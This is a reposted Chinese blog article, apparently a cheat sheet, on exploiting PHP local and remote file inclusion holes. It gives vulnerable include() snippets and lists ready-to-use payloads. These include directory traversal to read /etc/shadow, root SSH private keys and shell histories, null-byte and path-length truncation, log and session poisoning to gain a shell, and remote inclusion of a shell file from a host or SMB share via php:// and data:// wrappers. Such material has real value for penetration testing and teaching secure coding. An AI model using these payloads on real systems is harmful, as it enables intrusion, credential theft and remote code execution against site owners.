PHP檔案包含漏洞總結

來源:互聯網
上載者:User

標籤:blog   http   io   ar   os   sp   檔案   div   on   

0x00 前言

PHP檔案包含漏洞的產生原因是在通過PHP的函數引入檔案時,由於傳入的檔案名稱沒有經過合理的校正,從而操作了預想之外的檔案,就可能導致意外的檔案泄露甚至惡意的代碼注入。最常見的就屬於本地檔案包含(Local File Inclusion)漏洞了。

我們來看下面一段index.php代碼:

if ($_GET[‘func‘]) {   include $_GET[‘func‘];} else { include ‘default.php‘;}

程式的本意可能是當提交url為http://example.com/index.php?func=add.php時,調用add.php裡面的樣式內容和功能。直接存取http://example.com/index.php則會包含預設的default.php

那麼問題來了,如果我們提交http://example.com/index.php?func=upload/pic/evil.jpg ,且evil.jpg是由駭客上傳到伺服器上的一個圖片,在圖片的末尾添加了惡意的php代碼,那麼惡意的代碼就會被引入當前檔案執行。

如果被包含的檔案中無有效php代碼,則會直接把檔案內容輸出。

在接下來的內容中會以代碼樣本作為例子,來給大家介紹各種奇葩猥瑣的利用姿勢。

0x01 普通本地檔案包含
<?php include("inc/" . $_GET[‘file‘]); ?>
  • 包含同目錄下的檔案:?file=.htaccess

  • 目錄遍曆:

?file=../../../../../../../../../var/lib/locate.db ?file=../../../../../../../../../var/lib/mlocate/mlocate.db

(linux中這兩個檔案儲存著所有檔案的路徑,需要root許可權)

  • 包含錯誤記錄檔: ?file=../../../../../../../../../var/log/apache/error.log (試試把UA設定為“”來使payload進入日誌)

  • 擷取web目錄或者其他設定檔:

?file=../../../../../../../../../usr/local/apache2/conf/httpd.conf

(更多→http://wiki.apache.org/httpd/DistrosDefaultLayout)

  • 包含上傳的附件:

?file=../attachment/media/xxx.file

  • 讀取session檔案:

?file=../../../../../../tmp/sess_tnrdo9ub2tsdurntv0pdir1no7

(session檔案一般在/tmp目錄下,格式為sess_[your phpsessid value],有時候也有可能在/var/lib/php5之類的,在此之前建議先讀取設定檔。在某些特定的情況下如果你能夠控制session的值, 也許你能夠獲得一個shell)

  • 如果擁有root許可權還可以試試讀這些東西:

/root/.ssh/authorized_keys

/root/.ssh/id_rsa

/root/.ssh/id_rsa.keystore

/root/.ssh/id_rsa.pub

/root/.ssh/known_hosts

/etc/shadow

/root/.bash_history

/root/.mysql_history

/proc/self/fd/fd[0-9]* (檔案標識符)

/proc/mounts

/proc/config.gz

  • 如果有phpinfo可以包含臨時檔案:

參見http://hi.baidu.com/mmnwzsdvpkjovwr/item/3f7ceb39965145eea984284el

0x02 有限制的本地檔案包含
<?php include("inc/" . $_GET[‘file‘] . ".htm"); ?>
  • %00截斷:

?file=../../../../../../../../../etc/passwd%00

(需要 magic_quotes_gpc=off,PHP小於5.3.4有效)

  • %00截斷目錄遍曆:

?file=../../../../../../../../../var/www/%00

(需要 magic_quotes_gpc=off,unix檔案系統,比如FreeBSD,OpenBSD,NetBSD,Solaris)

  • 路徑長度截斷:

?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.

(php版本小於5.2.8(?)可以成功,linux需要檔案名稱長於4096,windows需要長於256)

  • 點號截斷:

?file=../../../../../../../../../boot.ini/………[…]…………

(php版本小於5.2.8(?)可以成功,只適用windows,點號需要長於256)

0x03 普通遠程檔案包含
<?php include($_GET[‘file‘]); ?>
  • 遠程代碼執行:

?file=[http|https|ftp]://example.com/shell.txt

(需要allow_url_fopen=On並且 allow_url_include=On)

  • 利用php流input:

?file=php://input

(需要allow_url_include=On,詳細→http://php.net/manual/en/wrappers.php.php)

  • 利用php流filter:

?file=php://filter/convert.base64-encode/resource=index.php

(同上)

  • 利用data URIs:

?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=

(需要allow_url_include=On)

  • 利用XSS執行任意代碼:

?file=http://127.0.0.1/path/xss.php?xss=phpcode

(需要allow_url_fopen=On,allow_url_include=On並且防火牆或者白名單不允許訪問外網時,先在同網站找一個XSS漏洞,包含這個頁面,就可以注入惡意代碼了。條件非常極端和特殊- -)

0x04 有限制的本地檔案包含
<?php include($_GET[‘file‘] . ".htm"); ?>
  • ?file=http://example.com/shell

  • ?file=http://example.com/shell.txt?

  • ?file=http://example.com/shell.txt%23

(需要allow_url_fopen=On並且allow_url_include=On)

  • ?file=\evilshare\shell.php (只需要allow_url_include=On)
0x05 延伸

其實在前面也說了,這些漏洞產生原因是PHP函數在引入檔案時,傳入的檔案名稱沒有經過合理的校正,從而操作了預想之外的檔案。實際上我們操作檔案的函數不只是include()一個,上面提到的一些截斷的方法同樣可以適用於以下函數:

參考文章:

http://websec.wordpress.com/2009/11/28/freebsd-directory-listing-with-php-file-functions/

http://www.digininja.org/blog/when_all_you_can_do_is_read.php

http://wiki.apache.org/httpd/DistrosDefaultLayout

http://ddxhunter.wordpress.com/2010/03/10/lfis-exploitation-techniques/

http://www.coresec.org/2011/05/12/local-file-inclusion-to-remote-command-execution-using-ssh/

http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/

http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/

http://diablohorn.wordpress.com/2010/01/16/interesting-local-file-inclusion-method/

  • 本文來自:愛好Linux技術網
  • 本文連結:http://www.ahlinux.com/safe/8967.html

PHP檔案包含漏洞總結

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.